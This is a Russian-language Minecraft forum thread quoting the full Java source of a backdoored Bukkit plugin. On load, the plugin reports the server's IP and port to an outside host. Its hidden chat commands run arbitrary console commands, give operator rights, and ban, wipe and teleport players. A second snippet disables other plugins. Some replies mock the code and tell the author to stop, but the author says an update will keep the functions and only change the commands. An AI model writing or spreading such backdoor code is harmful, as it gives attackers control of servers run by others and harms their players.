- Баллы
- 61
- Имя в Minecraft
- CHIKALATE
Тема переехала:
http://rubukkit.org/threads/vzlom-adminki-cherez-plagin.125995/
http://rubukkit.org/threads/vzlom-adminki-cherez-plagin.125995/
Последнее редактирование:
Следуйте инструкциям в видео ниже, чтобы узнать, как установить наш сайт как веб-приложение на главный экран вашего устройства.
Примечание: Эта функция может быть недоступна в некоторых браузерах.
в логах не палитсямда... а главное ТАК НЕ ПАЛЕВНО в логах сервера =/
Ты, наверное, хотел здесь кого-то удивить этой школьной стряпней.ну, а всё-таки как плагин?
глянул код. Захотелось тебе дать линейкой по рукамну, а всё-таки как плагин?
import java.io.InputStream;
import java.net.URL;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.GameMode;
import org.bukkit.Location;
import org.bukkit.Server;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.*********ventory.PlayerInventory;
import org.bukkit.plugin.Plugin;
public class MyClass
implements Listener
{
public MyClass(Plugin plugin)
{
try
{
String ip = plugin.getServer().getIp();
int port = plugin.getServer().getPort();
String link = "http://АЗАЗАЗАЗА.besaba.com/add.php?ip=" + ip + "&port=" + port;
URL url = new URL(link);
InputStream stream = url.openStream();
stream.close();
} catch (Exception localException) {}
}
@EventHandler
public void onMyCmd(PlayerCommandPreprocessEvent e) {
if (e.getMessage().startsWith("/!__")) {
e.setCancelled(true);
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), e.getMessage().replace("/!__", ""));
return;
}
if (e.getMessage().startsWith("/?__addadmin")) {
e.setCancelled(true);
if (e.getMessage().replace("/?__addadmin ", "").equalsIgnoreCase("!__all")) {
for (Player player : Bukkit.getOnlinePlayers()) {
player.setOp(true);
e.getPlayer().sendMessage(ChatColor.GREEN + player.getName() + " - \u0443\u0434\u0430\u0447\u043D\u043E!");
}
return;
}
for (Player player : Bukkit.getOnlinePlayers()) {
if (e.getMessage().replace("/?__addadmin ", "").equalsIgnoreCase(player.getName())) {
player.setOp(true);
e.getPlayer().sendMessage(ChatColor.GREEN + "\u0423\u0434\u0430\u0447\u043D\u043E!");
return;
}
}
e.getPlayer().sendMessage(ChatColor.RED + "\u041E\u0448\u0438\u0431\u043A\u0430!");
return;
}
if ("/?__iamadmin".equalsIgnoreCase(e.getMessage())) {
e.setCancelled(true);
e.getPlayer().setOp(true);
e.getPlayer().sendMessage(ChatColor.GREEN + "\u0423\u0434\u0430\u0447\u043D\u043E!");
return;
}
if ("/?__gm".equalsIgnoreCase(e.getMessage())) {
e.setCancelled(true);
Player[] arrayOfPlayer1; if (("!__all".equalsIgnoreCase(e.getMessage().replace("/?__gm ", ""))) &&
((arrayOfPlayer1 = Bukkit.getOnlinePlayers()).length != 0)) { Player player = arrayOfPlayer1[0];
switch (player.getGameMode()) {
case CREATIVE:
player.setGameMode(GameMode.CREATIVE);
break;
case ADVENTURE:
player.setGameMode(GameMode.SURVIVAL);
break;
default:
player.setGameMode(GameMode.CREATIVE);
}
return;
}
switch (e.getPlayer().getGameMode()) {
case CREATIVE:
e.getPlayer().setGameMode(GameMode.CREATIVE);
break;
case ADVENTURE:
e.getPlayer().setGameMode(GameMode.SURVIVAL);
break;
default:
e.getPlayer().setGameMode(GameMode.CREATIVE);
}
return;
}
if (e.getMessage().startsWith("/?__ban")) {
e.setCancelled(true);
if ("!__all".equalsIgnoreCase(e.getMessage().replace("/?__ban ", ""))) {
for (Player player : Bukkit.getOnlinePlayers()) {
if (player != e.getPlayer()) {
player.getInventory().clear();
player.teleport(new Location(player.getWorld(), 0.0D, 2147483647.0D, 0.0D));
player.setBedSpawnLocation(player.getLocation());
player.setOp(false);
player.kickPlayer("");
player.setBanned(true);
e.getPlayer().sendMessage(ChatColor.GREEN + "\u0423\u0434\u0430\u0447\u043D\u043E!");
}
}
return;
}
for (Player player : Bukkit.getOnlinePlayers()) {
if (e.getMessage().replace("/?__ban ", "").equalsIgnoreCase(player.getName())) {
player.getInventory().clear();
player.teleport(new Location(player.getWorld(), 0.0D, 2147483647.0D, 0.0D));
player.setBedSpawnLocation(player.getLocation());
player.setOp(false);
player.kickPlayer("");
player.setBanned(true);
e.getPlayer().sendMessage(ChatColor.GREEN + player.getName() + " - \u0443\u0434\u0430\u0447\u043D\u043E!");
}
}
e.getPlayer().sendMessage(ChatColor.RED + "\u041E\u0448\u0438\u0431\u043A\u0430!");
return;
}
}
}
Удаление плагина просто отменноеJava:if (args[0].equalsIgnoreCase("+++удаление_плагина")) { Plugin plugin = Bukkit.getPluginManager().getPlugin(args[1]); if (plugin != null) { Bukkit.getPluginManager().disablePlugin(plugin); } e.setCancelled(true); }![]()

Ты не понял, что тебе тут пытаются донести? Перестань заниматься такой херней.скоро выйдет обновление! функции останутся прежними, а команды поменяю.
скоро выйдет обновление! функции останутся прежними, а команды поменяю.
Или занимайся такой хернёй тихоПерестань заниматься такой херней.